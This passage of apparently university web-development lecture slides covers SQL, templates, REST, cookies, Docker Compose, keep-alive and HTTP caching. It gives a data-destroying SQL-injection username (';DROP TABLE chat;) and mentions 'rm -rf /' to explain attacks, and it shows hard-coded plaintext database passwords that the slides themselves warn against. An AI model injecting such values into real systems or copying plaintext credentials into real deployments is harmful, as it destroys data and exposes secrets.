  • If you concatenate user inputs directly into your SQL statements
    • Attacker chooses a username of ';DROP TABLE chat;
    • You lose all your data
    • Even worse, they find a way to access the entire database and steal other users' data
    • SQL Injection is the most common successful attack on servers

PostgreSQL - Retrieve Data

  • Retrieve records from a table using SELECT ... FROM
  • SELECT * FROM table_name will return all fields from every record in table_name
records, err := db.Query("SELECT * FROM chat")

for records.Next() {
  var id int
  var author string
  var content string
  var updated bool
  records.Scan(&id, &author, &content, &updated)
}

MongoDB vs. SQL

  • MongoDB is unstructured
    • Can add objects in any format to a collection
    • Can mix formats in a single collection
      • Ie. In a single collection the documents can have different attributes
  • SQL is structured (That's what the S stands for)
    • Table columns must be pre-defined
      • All rows have the same attributes
      • Adding a column can be difficult
    • Fast!

MongoDB vs. SQL

  • Hot Take
    • MongoDB is best for prototyping when the structure of your data is constantly changing
      • Take advantage of the flexibility
    • SQL is best once your data has a defined structure
      • Take advantage of the efficiency

HTML Templates

HTML Templates

  • Instead of writing complete HTML files
    • Write HTML templates
  • An HTML template is an "incomplete" HTML file that is used to generate complete pages
  • Use additional markup to add placeholders in the HTML
  • Replace the placeholders with data at runtime

HTML Templates

  • Example template with 3 placeholders
  • The title, description, and image_filename will be replaced later
    • Provide values for these 3 placeholders to serve a response
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>This page was generated from a template</title>
</head>
<body>

<h1>{{title}}</h1>

<p>{{description}}</p>

<img src="{{image_filename}}"/>

</body>
</html>

HTML Templates

  • To substitute the placeholders
    • Use any string manipulation that gets the job done
    • Find/replace is the simplest solution
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>This page was generated from a template</title>
</head>
<body>

<h1>{{title}}</h1>

<p>{{description}}</p>

<img src="{{image_filename}}"/>

</body>
</html>

HTML Templates

  • On the HW:
    • layout.html contains all the HTML that is shown on every page (navigation, structure, etc)
    • layout.html has one placeholder {{content}} which is where you'll insert all the HTML for the specific page that was requested
    • To render a page, eg. index.html, replace {{content}} with everything read from index.html
    • Send the resulting rendered page to the client

Common Template Features

  • Loops
  • To add loops to your templates
    • Choose syntax for the start and end of the loop
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>This page was generated from a template</title>
</head>
<body>

{{loop}}
<h6>{{content_from_data_structure}}</h6>
{{end_loop}}

</body>
</html>

Common Template Features

  • Conditionals
  • Can use similar approach as loops
  • Choose syntax for the start and end of each block in the conditional
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>This page was generated from a template</title>
</head>
<body>

{{if cookie_set}}
<h6>Welcome back!</h6>
{{else}}
<h6>Welcome!</h6>
{{end_if}}

</body>
</html>

Further Reading

CRUD and REST API

Introduction to CRUD operation and REST APIs

API's

Data

  • We now have a database that stores app data
  • Users have to control data
    • Manage their profile/setting
    • Make posts
    • Use a shopping cart
    • etc.
  • How should users interact with stored data?

Data

  • How do users interact with stored data?

The user/client communicates with our server, and our server communicates with the database. The client never connects to the database directly.

Data

  • How does our server interact with stored data?

The same client, server, and database. The client is faded out to focus on the connection between the server and the database.

CRUD

  • CRUD is an acronym for the 4 basic operation used to control data
    • Create
    • Retrive
    • Update
    • Delete

A server connected to a database with a two-way arrow.

CRUD - Create

  • Create a new record
db.Exec(`
    INSERT INTO user (email, username) VALUES ($1, $2)
    `, email, username)

CRUD - Create

  • When a record is created, it should be assigned a unique id
    • This id will be used to identify the created record
    • The id is typically an auto-incrementing integer
      • First record had id==1, second has id==2, etc
    • Postgres can generate these ids for you using SERIAL
    db.Exec(`
      CREATE TABLE IF NOT EXISTS user (
          id SERIAL PRIMARY KEY,
          email TEXT,
          username TEXT
      )
      `)

CRUD - Retrieve/List

  • Retrieve all records from a table
  • Retrieving all records is often called List
    • Technically, the acronym is CRUDL when list operations are allowed
SELECT * FROM user
  • Retrieve a single existing records
SELECT * FROM user WHERE id=$1

CRUD - Update

  • Update an existing record
  • Can update all fields except the id
    • It is a unique identifier
    • Changing will break features including links that use the old id
UPDATE user SET email=$1, username=$2 WHERE id=$3

CRUD - Delete

  • Delete an existing record
  • Record is completely removed from the table
DELETE FROM user WHERE id=$1

CRUD - Delete

  • In practice, common to "soft delete"
    • Don't actually delete the data
    • Instead, mark it as deleted
    • Do not allow retrieve/update operations on data marked as deleted
  • Soft deletion allows sys admins to perform additional operations
    • eg. User requests to undo an accidental delete
    • Preserves history (Helpful for debugging)
  • For your HW, it's fine to "hard delete"

Data

  • How do users interact with our server?

The same client, server, and database. The database is faded out to focus on the connection between the user/client and the server.

HTTP Requests Methods

  • GET
    • Request data from the server (Retrieve)
  • POST
    • Send data to the server (Create)
  • PATCH
    • Partially update a resource (Update)
  • PUT
    • Replace an existing resource (Update)
  • DELETE
    • Delete a resource (Delete)

HTTP - POST v. PATCH v. PUT

  • POST, PATCH, and PUT are all used to send data to the server, but with different expectations
  • POST
    • Requires the server to process the data
    • eg. Generating the id for a created record
  • PATCH
    • Make a partial update to an existing record
    • eg. Update only the content of a chat message, but not the author
  • PUT
    • Replace an entire existing record
    • Must be idempotent

HTTP - Idempotent

  • When multiple identical HTTP requests are sent
    • If the requests are idempotent, they will have the same effect on the server as sending a single request
  • The additional requests will not change the data of the API
  • In math terms, if our request is a function f
    • f(f(x)) == f(x)
    • Including any side-effects of f

HTTP - Idempotent

  • GET, PUT, and DELETE are idempotent
  • GET should not change the data/state of the API
    • Only retrieve data
  • PUT will replace the entire record with the data of the request
    • A second identical PUT doesn't change anything since the record was already replaced
  • Deleting a record twice has the same effect on the API as deleting the record once

HTTP - Idempotent

  • POST is not idempotent
  • Since the server is processing the data, there is no implied idempotent property
  • eg. Sending 2 identical POST requests to create a record will result in 2 records being created with different ids

HTTP - Idempotent

  • PATCH is not idempotent
  • In practice, PATCH endpoints are usually idempotent
  • There is no expectation that they must be idempotent
  • Eg. A record that tracks a counter of how many times it's been updated

RESTful API

  • REST -> REpresentational State Transfer
  • We'll use HTTP requests to interact with API data
  • REST is designed to simplify the way data is used
    • Improve reliability and scalability

REST and CRUD

  • User sends HTTP requests that correlate to CRUD operations on the data
  • POST => Create
  • GET => Retrieve
  • PUT => Update
  • DELETE => Delete

RESTful API

  • REST is fairly loosely defined (No RFC)
    • Or loosely understood
  • Typically measured on a spectrum
    • An API can be more/less RESTful
    • "We could do that, but it's not very RESTful"
    • "Let's refactor our API to make it more RESTful"

REST Constraints

  • Client-Server architecture and statelessness
    • Both constraints are implicit when using HTTP
  • The use of cookies in a RESTful API would be a violation of statelessness
    • Usually accepted in practice (API tokens)

REST Constraints

  • Cacheablility
    • Each response must contain caching information
    • Requests should be cached if possible
    • Avoid stale data from being cached

REST Constraints

  • Layered-System
    • The API should have the ability to add additional layers between it and the client
    • Ex: Client interacts with a load balancer that delegates to many instances of your API
    • Ex: A reverse proxy server is added that encrypts all traffic (HTTPS)
    • Ex: The client uses a VPN

REST Constraints

  • Uniform Interface
    • Resources are defined in the requests
    • The user is given, in a response, enough information to update/delete the resource
    • A request contains all information needed to handle that request
    • The API should be self-contained (No reliance on documentation that cannot be accessed from an API path)

Data

  • Users interact with our RESTful API
  • API requests correlate to CRUD operations

The user/client communicates with your server using your RESTful API. The server communicates with your database using CRUD operations.

Cookies

Introduction to HTTP Cookies

Cookies

State

  • HTTP is stateless
    • Each HTTP request is handled independently
  • Only the content of the request is used to generate the response
    • Read the request type (GET/POST), path, headers, and body
    • No other information can be requested from the client

State

  • We often want the client to have state
  • State is required for authentication
    • Otherwise, each client would have to enter their username/password for every action they take
  • We want to remember that a client is logged in
  • Subsequent requests are already authenticated
  • We cannot do this with HTTP alone

Cookies

  • Cookies allow us to "remember" information about a user
  • Cookies function through HTTP headers
    • Tell the client to set a cookie using a header in your response
    • Client sends that cookie in a header on all subsequent requests

Cookies

  • Since cookies work through HTTP headers:
    • ASCII only

Directives

  • We can add directives when setting a cookie
    • After the cookie, use a ; to specify a directive
    • Separate multiple directives with ;
    • ex: Set-Cookie: id=X6kAwpgW29M; <directive1>; <directive2>

Directives - Expires

  • Expires
    • The exact time when the cookie should be deleted
    • Must be in the format:
      • <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
  • Set-Cookie: id=X6kAwpgW29M; Expires=Wed, 07 Feb 2024 16:35:00 GMT

Directives - Max-Age

  • Max-Age
    • Set the number of second before the cookie expires
    • Much simpler than setting the expires directive
  • Set-Cookie: id=X6kAwpgW29M; Max-Age=3600
    • This cookie expires 1 hour after it is set

Directives - Session Cookies

  • If neither Expires nor Max-Age are set:
    • The cookie is a session cookie
      • It will be deleted when the user ends the session
    • ie. The cookie is deleted when the browser is closed
      • Note: Browser. Not tab
  • Check your cookies in the browser console to ensure that your directives are set properly (ie. under expires, session cookies will say "session")

Directives - Secure

  • Secure
    • Only send this cookie over HTTPS
    • The cookie will not be sent over an HTTP connection
    • Protects against packet-sniffing
      • Using wifi, everyone in wifi range can read your HTTP requests
      • They cannot read your HTTPS requests since they are encrypted
    • If used on your HW server with HTTP, the browser won't send these cookies
  • Set-Cookie: id=X6kAwpgW29M; Secure

Directives - HttpOnly

  • HttpOnly
    • Don't let anyone read or change this cookie using JavaScript
    • Prevents hijackers from reading/changing your cookies with a JavaScript injection attack (XSS Attack)
    • These cookies are not returned when document.cookie is accessed
    • Can still access these cookies from the browser console
      • An attacker with access to your machine has all your cookies
  • Set-Cookie: id=X6kAwpgW29M; HttpOnly

Directives - Path

  • Path
    • Specify a prefix that the path must match for the cookie to be sent
  • Set-Cookie: id=X6kAwpgW29M; Path=/posts
    • Cookie is only sent when the requested path begins with /posts
  • Caution: The Path directive is sometimes automatically added by the browser using the path of the request when the cookie was set
    • You can override this by explicitly setting Path=/

Directives - SameSite

  • SameSite
    • Determines when the cookie will be sent on 3rd party requests
    • Lax - Cookie only sent when navigating to your page -and- all 1st party requests
      • The default setting if SameSite is not set
    • Strict - The cookie is only sent on 1st party requests
      • ie. The cookie is only sent to your server when browsing your page
    • None - The cookie is always sent. Requires the Secure directive to also be set
  • Set-Cookie: id=X6kAwpgW29M; SameSite=Lax
  • Set-Cookie: id=X6kAwpgW29M; SameSite=Strict
  • Set-Cookie: id=X6kAwpgW29M; SameSite=None; Secure

Client-Side Cookies

  • The client can also set and change their cookies
    • Do not trust the value stored in a cookie!
  • If a cookie is important for security
    • Verify its validity
  • Client can read/set cookies with JavaScript (Unless HttpOnly is set)
    • So can attackers!
  • Access cookies with document.cookie

Tracking Users

Tracking User Sessions with Cookies

  • We often want to know when multiple requests are sent by the same user
    • Eg. A chat where a user sends multiple messages that should all contain the same "username"
  • To accomplish this:
    • When they send their first message, create a profile for the user that will store all information about them in a database
    • Generate a random token that is both stored in the database AND set as a cookie for the user
    • Whenever you receive a request, lookup the token in your DB to retrieve the user's profile

User Sessions

A client, server and database diagram. The client is sending a request to the server with their first chat message

  • Client sends their first chat message
  • There are no cookies in this request
    • The server knows this is their first message since no cookies have been set

User Sessions

A client, server and database diagram. The server is storing a randomly-generated username and token in the database

  • Server generates a random username for this user
  • Server generates a random secret token that will uniquely identify the user
  • Store both values in the database

User Sessions

A client, server and database diagram. The server responds to the client with a Set-Cookie header for their token

  • In the response to the user, set a cookie containing their token
  • Use the expires or max-age directive to make sure this is not a session cookie

User Sessions

A client, server and database diagram. The server responds to the client with a Set-Cookie header for their token

  • Yes, it's confusing that we overload the word session
    • It's a session cookie in that it tracks a user's session with our app
    • It's not a session cookie in that it is not tied to this session of their browser

User Sessions

A client, server and database diagram. User sends another chat message to the server

  • All subsequent requests will contain this user's token in a cookie

User Sessions

A client, server and database diagram. The server looks up this user's username using their token that is read from the cookie

  • The server sees that there is a cookie in this request and looks up the token in the database to retrieve this user's profile, including their username
  • When adding the new chat message to the database, we know to set "Anon243" as the author

User Sessions

A client, server and database diagram. The server responds to subsequent chat messages with responses that do not set any cookies

  • No need to set cookies or do anything special on subsequent responses

User Sessions

  • With multiple users:
    • Each user has a different username and token
    • The tokens are all secret so users cannot steal each other's identities
    • Usernames are public and displayed to all users in the chat
  • Server identifies each user based on their token cookie

Further Reading

Docker and Docker Compose

Introduction to Docker and docker compose

Containers

Vocab

  • Development Environment (dev)
    • The environment where you write your code
    • Ex. Your laptop
    • Add features; Find and eliminate bugs
  • Production environment (prod)
    • The environment where your app will eventually live
    • The live server with real end users
    • Do everything we can to avoid bugs in production

Deployment Headaches

  • It works on my laptop!
  • Run your code in production and it's broken
  • Many causes
    • Different version of compiler/interpreter
    • Dependencies not linked
    • Hard-coded paths
    • Different environment variables
    • etc.

Virtual Machines

  • Simulate an entire machine
  • Run the virtual machine (VM) in your development environment for testing
  • Run an exact copy of the VM on the production server
  • No more surprise deployment issues
  • Simulating an entire machine can be inefficient
    • If you've run a VM on your laptop you know how slow this can get

Containers

  • Effectively, lightweight VMs
  • Efficiently shares resources across containers
    • As opposed to VMs which require dedicated ram/cpu/disk

Security

  • Can't break out of a VM/Container [Without sophisticated attacks]
  • If an attacker compromises the server, they can only access what you put in the container
    • Can't "rm -rf /" your entire machine
    • Patch the exploited vulnerability and rebuild the image
  • The attacker can still cause significant damage and steal private data
    • They just can't destroy your server box

Security

  • Sometimes an app has to allow code injection attacks to function
    • Autolab
    • AWS
    • Digital Ocean
  • Run user code in their own VM/Container
    • One malicious user cannot take down the entire service

Docker

  • Docker is software that's used to create containers
  • Install Docker in your development environment to test containers
  • Install Docker in your production environment and run the same containers

Dockerfile

  • To start working with Docker, write a Dockerfile
  • This file contains all the instructions needed to build a Docker image
    • Some similarities to a Makefile

Dockerfile

  • Let's explore this sample Dockerfile
  • This Dockerfile creates an image for a node.js app
    • You don't need to know node.js. We're using this example to learn Docker
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • The first line of your Dockerfile will specify the base image
  • This image is downloaded and the rest of your Dockerfile adds to this image
  • In this example: We start with Ubuntu 26.04
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • Use WORKDIR to change your current working directory
    • Same as "cd"
  • This Dockerfile sets the working directory to /app
  • You'll know where your files are if you ever have to navigate the container
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • Use the RUN keyword to run commands in the base image
  • We are starting with a fresh Ubuntu install
    • Need to run any commands needed for your app to run
  • This is the same as running these commands in the terminal
  • Use flags like -y to ensure everything is automated
  • All commands run as root
    • No need for sudo
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • Use COPY to copy local files into your image COPY <local_src> <image_dest>
  • Need to copy all files needed for your app
  • Destination is relative to the working directory that we set on line 3
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • Install any dependencies needed for your app
  • Copy in any files specifying your dependencies (e.g. go.mod and go.sum)
  • Very useful to do this before copying your code
  • Docker has a very good caching system and won't repeat steps where nothing changed
    • Only reinstall dependencies when your dependencies change, not every time your code changes
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • Get your app ready to run
    • Copy all the code for your app into the image
    • If needed, compile your code after copying it
      • Test compiling and running your code locally first (e.g. If you've only ever ran go run . you'll need to learn how to compile and run separately)
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • Finally, use CMD to run your app
  • Important: Do not use RUN to run your app!
  • RUN will execute the command when the image is being built
  • CMD will execute when the container is run
FROM ubuntu:26.04

WORKDIR /app

RUN apt-get update --fix-missing
RUN apt-get install -y nodejs
RUN apt-get install -y npm

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Dockerfile

  • There are many base images to choose from
  • Start with an image with your language installed to simplify your Dockerfile
    • Search "docker language" to find images/tutorials for your other language
  • This image starts with node and npm installed so we can remove the installation lines
FROM node:24

WORKDIR /app

COPY package.json package.json
RUN npm install

COPY server.js server.js
COPY src/ src/

CMD ["node", "server.js"]

Running Your App

  • Now that we have a Dockerfile, build an image using this command
    • docker build -t my-image .
  • But we're interested in containers
    • Images can be used to create many containers (Like a class being used to create objects)
  • To create a container from an image, run this command
    • docker run -p 8080:8080 my-mage
    • The -p 8080:8080 will map local port 8080 to container port 8080
    • Need to map the port for your app to be accessible from outside the container (e.g. From your browser)
  • Your app is now running in a docker container

Running Your App

  • When preparing your app to run in a container
    • Do not use localhost [in your code]
    • Use 0.0.0.0 as the host instead
    • This allows your app to be accessed from outside the container by listening on all network interfaces
  • Go does this by default when using the net package

Docker Compose

Docker Compose

  • Docker compose manages building/running docker images/containers
  • Build and run with one command docker compose up --build --force-recreate --renew-anon-volumes
  • No need to use docker build and docker run
  • Will be used to manage multiple containers
    • Separate container for your database
  • Configure using a file named compose.yaml, compose.yml, or docker-compose.yml

Docker Compose

  • CAUTION: DO NOT store passwords in plain text like this!
    • Fine for Homework 1
    • We will explore a better setup for homework 2
  • The compose.yaml file uses the YAML format
    • White space (indentation) matters
    • Format: <key>:<value>
    • List values prefixed with -
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • List of all the services for docker compose to run
  • A docker container is created for each service
  • This compose file will create 2 containers
    • One for a mySQL database named mysql
    • One for a web server named app
  • The name of each service will become its hostname when using network protocols across containers
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • For each service, specify how to build its image
  • Use image to specify an image to use
    • Same as having a 1 line Dockerfile
    • FROM mysql
    • Useful when you need very little customization
  • Use build to specify a local Dockerfile
    • Specify the directory where the Dockerfile can be found
    • Using . to specify the current directory
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • Map a local port to a container port
  • Same as using -p 8080:8080 when running a single container
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • Use environment to set any needed environment variables
  • When using MySQL, the image expects certain environment variables that are used for setup
    • This is how you setup your username/password and the name of your database
    • Hint: Postgres uses the same concept, but with different variable names
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • You can also set environment variables in your app container
    • Makes for a cleaner setup and can avoid storing plain-text passwords in your code
    • When we learn about authentication, we will discus a better way to handle passwords
      • Brief version: Use a .env file and use ${VARIABLE_NAME} to read your variables
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • We have a detrimental race condition
  • Docker compose will start both containers concurrently
  • Your code will likely connect to your database on startup
    • What if the database is still starting up and not accepting connections yet?
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • Many different solutions to the race
  • Find and implement your favorite approach:
    • Handle rejected connections in your code gracefully and retry
    • Use docker compose's depends_on with healthcheck (After reading the documentation)
    • Use a 3rd party solution like ufoscout's solution on GitHub
services:
  mysql:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: '7PtypF^*6&to@PAhwaw5'
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
  app:
    build: .
    environment:
      MYSQL_USER: mysql_username
      MYSQL_PASSWORD: 'WTc&$5#jAd6jRe9gJ0nL'
      MYSQL_DATABASE: my_db
    ports:
      - "8080:8080"

Docker Compose

  • When communicating across containers, the service name is the container's hostname

  • Connection string:

    postgres://user:pass@HOST:5432/db

  • Running with go run .

    HOST = localhost

  • Running with docker compose up

    HOST = postgres

services:
  postgres:
    image: postgres
    ...
  app:
    build: .
    ...
    ports:
      - "8080:8080"

Docker Compose

  • Note that you choose your service names

  • Be consistent!

    HOST = my_super_cool_service_name

  • Must match the service name in compose.yaml

services:
  my_super_cool_service_name:
    image: postgres
    ...
  app:
    build: .
    ...
    ports:
      - "8080:8080"

Running Your App

  • To run your app
    • docker compose up
  • To rebuild and restart the containers
    • docker compose up --build --force-recreate --renew-anon-volumes
    • Will ensure your newest code is running in the containers
    • Renewing anonymous volumes will destroy your database
      • Remove this if you want your data to persist
  • To restart the container without rebuilding
    • docker compose restart

Further Reading

Concurrency

Keep-alive, multiple TCP connections, and goroutines

HTTP Connections

Loading a Page

  • One page load is not one HTTP request
  • Browser gets the HTML, then requests every CSS, JS, image, etc. needed to render the page
  • Each resource needs its own request/response
  • If every request opens a new TCP connection, the page loads slower than it needs to

TCP Connections are Expensive

  • A new TCP connection starts with a 3-way handshake
    • 1 full additional round-trip
    • The 3rd step of the handshake often contains a request
  • That extra round trip happens before any of your content moves
  • Even more expensive with encryption

TCP 3-way handshake between a client and a server. The server calls listen() and is in the LISTEN state, then calls accept(). The client calls connect() and enters SYN_SENT, sending SYN M. The server enters SYN_RECV and replies SYN N, ACK M+1. connect() returns and the client is ESTABLISHED. The client sends ACK N+1, which can include data. accept() returns and the server is ESTABLISHED.

Keep-Alive

Connection: keep-alive

  • You'll see this header on most requests
  • The browser is requesting that you keep the TCP connection open for subsequent requests
  • Handshake once, then send as many requests/responses as you need over that single connection
  • Default for HTTP/1.1
    • The browser does not have to send Connection: keep-alive, but clients often do
  • Connection: close means this is the last request on this socket

The Connection Header

  • Both the request and the response can include it
GET /public/style.css HTTP/1.1
Host: cse312.com
Connection: keep-alive
HTTP/1.1 200 OK
Content-Type: text/css
Content-Length: 42
Connection: keep-alive
  • After a keep-alive response, do not close the socket
  • Wait for the next request on the same connection

Connection: close

  • Either side can end the connection
GET / HTTP/1.1
Host: cse312.com
Connection: close
  • After you send the response, close the TCP connection
  • If you are going to close, send Connection: close in the response so the client knows not to reuse it

Content Length

  • Messages are delimited by their content length
  • With Connection: close, the socket can be closed after reading the body of the request [and sending your response]
  • That does not work with keep-alive
    • The next bytes on the socket are the next request
  • Content-Length tells you exactly how many body bytes to read/write before the next request starts
  • If your Content-Length is wrong, the next request on the connection is corrupt

The keep-alive Loop

  • Accept a TCP connection
  • Then loop:
    1. Read one full HTTP request (headers + Content-Length bytes of body)
    2. Send one full HTTP response
    3. If Connection: close, or the client disconnect, break and close the socket
    4. Otherwise, go back to step 1
  • This is still one request at a time on this connection
  • The loop is per connection, not per server

Closing a Connection

  • Several possible causes for a closed connection
    • Client sent Connection: close
    • Client closes their browser
      • No request is sent. You need to detect this
    • Server decides to close (idle too long, error, done with the client)
    • Network error
  • Your server needs to handle a closed socket gracefully
    • Read returns an error / EOF
    • Stop looping, close your side, return

Keep-alive is Still Sequential

  • On one TCP connection, HTTP/1.1 is request then response then request then response
  • The CSS request waits until the HTML response is done
  • A slow response holds up everything else on that connection
  • Keep-alive removes handshake cost. It does not make requests parallel

Multiple Clients

Multiple Clients

  • Your app will have more than one user [hopefully]
  • Need to maintain connections with all clients simultaneously
  • If your server handles one connection at a time, everyone else waits
    • If that connection respect keep-alive, they may be waiting for a very long time
  • Handle this with concurrency

Goroutines

  • A goroutine is a lightweight thread managed by Go
  • Cheap to create: Use one per connection
  • go handleConnection(conn) starts the function and does not wait for it
  • The accept loop immediately goes back to waiting for the next client
  • Be sure to end the connection and goroutine when a client disconnects

Further Reading

HTTP - Caching

How browsers cache HTTP responses using timeouts, ETags, and 304 Not Modified

Caching

Caching

  • Loading a page is still a lot of requests, even with keep-alive
  • CSS, JS, images, and fonts rarely change
  • Sending the same file over the network every time is wasted work
  • Caching: reuse a previous response instead of downloading it again

Who Stores the Cache?

  • The browser stores the response
  • Your server does not keep a cache of responses
  • Your job is to send headers that tell the browser:
    • How long this response can be reused
    • How to check whether it is still valid
  • Same URL later: the browser decides whether to reuse, revalidate, or request the resource

Fresh vs stale

  • Fresh: the cached copy is still good. Use it. Do not talk to the server
  • Stale: the cached copy might be outdated. Ask the server before using it
  • Two independent mechanisms:
    • Timeouts (max-age, Expires): how long the copy stays fresh
    • Validators (ETag, Last-Modified): how the server confirms it has not changed

Timeouts

Cache-Control: max-age

  • Number of seconds the browser may reuse this response
HTTP/1.1 200 OK
Content-Type: text/css
Content-Length: 42
Cache-Control: max-age=3600
  • max-age=3600 means this is fresh for one hour
  • After that, the copy is stale and a new request will be sent

Expires

  • An exact time when the response becomes stale
Expires: Wed, 23 Sep 2026 19:50:00 GMT
  • HTTP dates are GMT, not local time
  • max-age is preferred
    • Less prone to time zone, daylight savings, etc. issues
    • Easier to use
  • If both are present, the browser uses max-age

Other Cache-Control values

  • no-store — do not save this at all (passwords, private pages)
  • no-cache — you may store it, but revalidate before using it
  • private — only this user's browser may cache it, not a shared proxy
  • public — OK to store in a shared cache

Validators

When the Cache is Stale

  • Timeout expired. Browser still has the old bytes
  • Send a request to the server asking if the response is still current
    • If it is, send a 304 Not Modified response with no body
      • Prevents resending the same data and can reset the timeout
    • If it is not current, send a 200 OK with the new response

ETag

  • A fingerprint of this version of the resource
  • Send it on 200 responses
HTTP/1.1 200 OK
Content-Type: text/css
Content-Length: 42
Cache-Control: max-age=10
ETag: "9e107d9d372bb6826bd81d3542a419d6"
  • When the file contents change, the ETag must change
  • A hash of the file bytes is a great way to do this

If-None-Match

  • Once the copy is stale, the browser sends the ETag back
GET /public/style.css HTTP/1.1
Host: localhost:8080
If-None-Match: "9e107d9d372bb6826bd81d3542a419d6"
  • Compare it to the ETag of the file currently on disk
  • If they match, send a 304
  • If they are different, send a 200 with the new etag

304 has no body

HTTP/1.1 304 Not Modified
ETag: "9e107d9d372bb6826bd81d3542a419d6"
Cache-Control: max-age=3600
  • 304 means "your copy is still current"
  • No body in the response
    • Not Content-Length/Content-Type headers
  • The browser already has the bytes. You are only confirming they are current
  • You may send the ETag and Cache-Control again so the copy becomes fresh

Vary

  • By default the cache key is the URL
  • Sometimes the same URL serves different content depending on a request header
Vary: Accept-Language
  • GET /page with Accept-Language: en and Accept-Language: es are different cache entries
  • If you skip Vary, an English user can be served the Spanish page from cache
  • Common on Accept and Accept-Language

Further Reading

Authentication and Secure Password Storage

How to build an authentication system. Users register and login using their username and password. How we securely store passwords

Authentication

User Accounts

  • Registration
    • Users create an account on your app
    • Choose a username and password
